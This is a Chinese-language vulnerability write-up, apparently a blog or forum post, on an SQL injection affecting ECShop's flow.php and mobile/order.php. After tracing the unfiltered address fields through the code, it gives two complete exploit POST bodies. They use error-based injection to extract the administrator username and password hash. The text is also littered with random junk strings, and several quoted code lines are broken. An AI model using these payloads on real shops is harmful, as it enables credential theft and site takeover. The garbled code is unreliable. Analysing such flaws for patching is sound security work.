ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
% M' \8 Z$ q+ D8 p7 |( ]
9 ?  w, Q5 Z8 t# v' c$ j    漏洞关键文件：

* b6 l& m7 h  k7 N4 g* v4 M    /includes/lib_order.php
0 C3 L4 Y% D% L& N! U) Z- i
- }, b6 q  m1 @6 m5 S    关键函数：

- D3 v2 T+ W% p3 B. ^% o
6 L1 Z* l# y2 ?  W
01     function available_shipping_list($region_id_list)
  p9 {3 x$ ?4 D0 Z
02 {
8 b8 G5 F0 `" A
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

3 ?9 x" I" E% X" R! m04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
2 H/ J4 P/ d- w' i7 A) l
/ ]3 o0 M+ Y% ~5 p& I05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
4 v/ M7 n! E, k8 N
4 g. R9 K7 T" i06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

6 z% t; M0 h. I; o07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
7 `: o* n; N# ?
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
' d+ r5 B% M0 T! Z; n
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

  b5 k; ~; ~5 \- \10   
% S, l% G& ?3 x5 _1 U
11     return $GLOBALS['db']->getAll($sql);

1 m, O2 |: x) z/ p7 h( T12 }

显然对传入的参数没有任何过滤就带入了查询语句。

下面我们追踪这个函数在flow.php中：
第531行：   

; |; j, ]9 ]3 d" N0 a( U- O9 H& C1 $shipping_list     = available_shipping_list($region);



% x; U8 ^" b) {  x# z
9 b% F* {# ~6 y- N
+ }8 q! o# `$ `! P8 j再对传入变量进行追踪：

第530行：   

1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);

7 l0 Z6 Z- k1 C$ n: n, z
7 q  d7 N/ ?- ^5 x( F

& i) J0 H9 R, x$ T9 w- L" _* l8 L5 o
第473行：        
; `% H$ R& L  p
1 $consignee = get_consignee($_SESSION['user_id']);
- P" l4 h/ P1 o
+ V# D' v  J, Y7 N# U& p% {) ^到了一个关键函数：
5 i6 L+ l( L+ c* b4 n8 B
/includes/lib_order.php
7 s- @% L2 E% g7 b8 A' J
: w% ^7 K( [# a# u9 |  ^3 j; w

9 h1 f! H, J6 w. {0 C' C9 ?1 O: O
& n* w7 B) W! a: f8 x% H
3 D2 P. p+ {' f, v& ?  ]# U01 function get_consignee($user_id)

02 {

1 B3 W, ^* V* w03     if (isset($_SESSION['flow_consignee']))
& f# {" r+ G1 p1 v0 u9 `
04     {
6 c0 E3 h  ^2 P. Y2 z
05         /* 如果存在session，则直接返回session中的收货人信息 */
; S& D9 ^4 W- f, D: x( |
+ B' z4 \" d( I$ F9 |$ @6 }06   
7 m) a5 M9 s3 |& l2 o- D
07         return $_SESSION['flow_consignee'];
& f5 B7 Z8 u, V; R
9 O- F. j3 Q+ }9 ]8 l- R08     }

09     else

10     {

- x3 C  g, q3 P, e$ f" q; z% i11         /* 如果不存在，则取得用户的默认收货人信息 */
7 \- A" n3 x. c* g1 |
12         $arr = array();
( J; }8 c) h; T! A
13   
" J2 A, o0 ?9 |( j% b+ E+ `( l  J" m
14         if ($user_id > 0)
  `* b- h( T6 S: q. B8 q6 P/ e
15         {
  j* i1 m$ e) Y5 b8 m: f
16             /* 取默认地址 */

# @! z6 y4 H; k17             $sql = "SELECT ua.*".

18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
$ W  K$ B" v4 E# o; \5 J
5 N: a- J) G: j% d19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
% D5 f! X% t: r, Z9 v4 `& c: k
0 P: @4 C% |( j- |20   

21             $arr = $GLOBALS['db']->getRow($sql);

3 U9 k: C: H5 }8 M3 k# V5 H22         }
- K, P1 j$ O2 ^( n
; k- g" x) R2 _23   
# }8 o/ c% @6 d
5 s( k/ n/ l( C7 h24         return $arr;
+ W. L" t" o, Z$ E/ W7 H
# R; T2 s5 _& K, i25     }

26 }
* a3 q: N% N$ A4 O% m" W0 a. n6 L
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
+ K% d# I+ r, I- y7 T, l
2 q# }2 T& |/ J" V2 \$ o

0 p9 N. ]+ z6 g关键点:

1 X' Q& z( t* e, z第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
5 ?. f5 i; K# m6 H1 T- P
这里对传入参数反转义存入$_SESSION中。
; i( K7 }  l0 w


$ M, Y% ]# G# o8 H; W: t然后看下：
9 U% f$ Z2 k- g. B  k0 i0 e


/ r  F% L. y, M   

4 E# A9 b/ a4 ]3 P$ m1 t: n" U8 ?01 $consignee = array(

' C8 Z: f  o+ X6 o+ o02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

7 S, |. P3 ]+ ]3 H* o! a* ]05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

- j* o  _& m; P1 }1 o* L, C06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
& t9 k2 K$ _3 T/ E8 z1 U# a* }3 U
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
2 H2 ]0 s+ S5 `) n8 g4 O/ X% V8 y8 n
& ]2 {/ ^% u: v9 t. O14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
! T& M  n; j6 `, q5 V$ F5 T
15     );
& c2 m& m! G6 N# d
好了注入就这样出现了。

==================

' b3 M5 T* B' ?' b注入测试：
) d$ U  b( K$ I% `4 [3 x( {
3 m# P" P" I$ y环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
2 j+ b* S6 A+ P1 _3 J& |
测试程序：ECShop_V2.7.3_UTF8_release1106
0 z- b/ Q0 D& V. P) S1 K


1.首先需要点击一个商品加入购物车

2.注册一个会员帐号
& \, x# N1 ^; [9 Q  e
3.post提交数据

  ~  L( ?+ e  h" u' H, ^2 _
1 `. t7 H. ]$ d: l3 K
& A% J3 J/ w3 V8 x' B5 I3 T1 http://127.0.0.1/ecshop/flow.php

2   

: l7 G& F) d0 O( o& O+ K3 M. |' ?# O& ]3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：

我们搜寻关键函数function available_shipping_list()

在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
! D! X1 e* d! [; R
利用exp:

/ b+ Z1 Y( A+ h  b' ?# D1.点击一个商品，点击购买商标

2.登录会员帐号
/ k5 a$ W" A6 s6 F/ N
8 g5 s9 o; v2 \  P" i2 |3.post提交：

( W' Y( A  o. whttp://127.0.0.1/ecshop/mobile/order.php


4 C8 Z* ~, e' V0 \. h  l- q& G  W
7 U' s$ L5 I* R0 wcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
0 `, C* h& s0 c# ^; \+ }
0 M3 L+ j! [: z% j